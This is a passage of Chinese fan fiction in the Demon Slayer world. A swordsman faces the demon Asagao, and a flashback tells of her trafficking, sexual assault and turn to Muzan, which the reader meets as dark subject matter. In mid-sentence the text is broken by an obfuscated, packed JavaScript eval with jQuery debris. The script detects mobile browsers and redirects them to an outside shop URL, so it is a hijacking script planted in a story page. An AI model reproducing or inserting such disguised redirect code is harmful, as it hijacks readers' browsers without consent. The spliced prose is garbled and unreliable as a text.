朝颜伸出手,长长的指甲泛着粉色,很是好看,她勾起清和的下巴:“长得倒还不错,也没有鬼杀队的气息,就是个普通人罢了。诶?”
一道银白色的光影闪过,她的手瞬间被砍断。
清和拿着手术刀闪至房门后,眼神清明。
“看来基本功没丢掉。”清和将刀尖对准朝颜:“你就是躲在旅店背后的鬼怪?”
朝颜像是听到了什么好玩的事情,笑得花枝乱颤,身上的樱花花瓣也随之抖落,散发出馥郁的香气:“躲?我用得着躲?”
她伸出爪子,捏住吉野的后脖颈:“是他求着我留下才对,吉野,你说呢?”
冷汗瞬间浸湿了后背,吉野颤巍巍地回答:“没,没错,是我央求朝颜大人留下的。”
“为什么要委身于鬼?”清和不解:“连光都见不得的家伙,简直就是阴沟里的老鼠,更何况,你不知道她害死了多少人?”
一道花枝带着凌厉的劲风打来,清和避闪不及,被打中后背,火辣辣的疼。他踉跄几步,倒在地上。
“说话小心点,再有下次,你的命就别想要了。”朝颜冷哼一声。
吉野见到此景,却没有丝毫畏惧,反倒是虔诚地依附在她身后,朝着躺在地上动弹不得的清和,大加嘲讽。
“你懂什么?这是能实现我愿望的神明!只要好好给朝颜大人提供祭品,我就能得到我想要的一切!”
吉野的声音起初还有些怯懦,受惯了欺凌的人大抵是这样,连说话都没有底气。可看着清和虚弱的模样,他半是气恼半是快意,越说越大声:“我参拜神社,求助神明,有什么用?父母不幸遇难,大伯想侵占我这仅剩的旅馆,还指派流氓地痞夜夜骚扰,让我过不上一天安生日子。”
“你是神职人员吧,”吉野语气笃定:“你的装扮和气质都很特别,我一眼就能认出来。你说,那个时候四处求助无门的我,还能做什么?没有朝颜大人,我早就曝尸街头了!”
“咳咳,”清和吐了口血,勉强撑起身倚靠在墙角:“你自己受了苦,更应该能理解他人才是。借助邪祟的力量,又会害得多少人家破人亡,你难道不清楚吗?”
“那是他们活该!”像是被戳到了痛处,吉野激动得破音:“那是他们的命数,谁让他们那么年轻,又那么富裕,鞋上连一丁点淤泥都沾不上。凭什么,凭什么天底下的好运气都分给他们,我就是这种下场?”
伴随着他的怒吼,一道花枝冲上前来,卷起清和的手臂往回拉。清和用力一劈,那枝条上一点印记都不曾留下,自己的刀却豁了口。
“别白费力气了,”朝颜戳戳清和的额头:“我好歹也是十二鬼月呢。”
花枝越缠越紧。
那种熟悉的窒息感又来了,清和只觉得喉咙间涌出腥甜的味道,大脑的反应也开始变慢,樱花香气涌入鼻腔,流经肺腑,他快要支撑不住地沉睡过去。
“安心睡下吧,等老大来了,再对你的生死做定夺。毕竟,你可是让他发了很大的火呢。”朝颜的声音里满是娇媚,任谁只听声音,都觉得是个娇滴滴的小姑娘在哄人入睡,而绝想不到有多少人因为她命丧黄泉。
是在做梦吗?清和看着眼前身穿和服的女孩,正怯生生地跪坐在甲板上,和她一起的还有十几个年龄相仿的小姑娘,大家排排坐好,听着眼前的老板侃侃而谈。
“再过了这条海峡就到了!我再说一遍,只要大家听我的话,吃苦肯干,就能挣到钱,寄回家里,让家人也过上好日子!”
朝颜被这些话煽动得脸色涨红,眼里满是憧憬。终于能吃上饱饭了吗?
可为什么,家人送她出门的时候,眼里满是泪水呢?
下了岸,她们被集中安置在一间旅馆里,饭食很精致,还有好看的胭脂水粉,换好衣服,朝颜打扮得很漂亮。
真好啊,朝颜想,自己从没穿过这么好的衣服。
下一刻,一个醉醺醺的老汉冲了进来,嘴里嘟囔着她听不懂的语言,上来就要撕她的衣服。
他要做什么?朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368590|199847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颜惊恐不已,忙挣扎着跑到房门边,却发现落了锁。她大声呼救,外面也毫无人应。
好漫长的夜晚。
终于挨到了天明,朝颜看着身上青青紫紫的伤痕,好疼啊。
老汉早已抽完烟离开,把钞票扔在她的脸上,还说什么今晚要再来?
这就是老板说的挣大钱吗?
朝颜沉默着,像失去了灵魂。她机械地吃着饭,喝了药,坐在床边一动不动。
又到晚上了,她轻抚着手中的钗子。
还是同样的老头走进房门,朝颜听着落锁的声音,抿了抿唇。
在他色眯眯地触碰到自己前一秒,朝颜眼疾手快地将钗子插入老汉的咽喉。
看着他痛苦地在地上翻滚,喉咙里咕噜噜得,一句话都说不出,朝颜有些害怕,却又奇怪地觉得兴奋。
这里不能久待了,朝颜想,她杀了人,他们会让她偿命。
她把油灯扔到床沿,看着火越烧越旺,然后打破窗户跳了出去,朝着港口飞奔。
回家,快回家。
她什么也顾不上想,快回去,这里的一切就是一场梦。她不要挣钱了,挨饿也没什么。
混上返航的货船,旅馆那边也反应过来了,正骂骂咧咧地四处寻人。朝颜躲在货物间,里面满满当当的都是海鱼,腥臊的味道熏得她直作呕。
她不敢动,看着搜捕人员举着火把来来回回。
“找到你了。”朝颜被揪起衣领,船员比对着她的模样,点点头:“你胆子倒是大。”
朝颜闭上眼,一滴泪水顺着她的眼角缓缓滑落。
“不甘心吗?”一道陌生的声音响起:“家人为了钱出卖你,这里的人随意蹂躏你,很不甘心吧?想报仇吗?”
衣领间的力道消失了,朝颜睁开眼,月光下,一个脸色苍白的男子正笑盈盈地站在她面前。手上提溜着船员的脑袋。
“加入我吧,我会成为你最可靠的家人。”
“自我介绍下,我是船长,无惨。”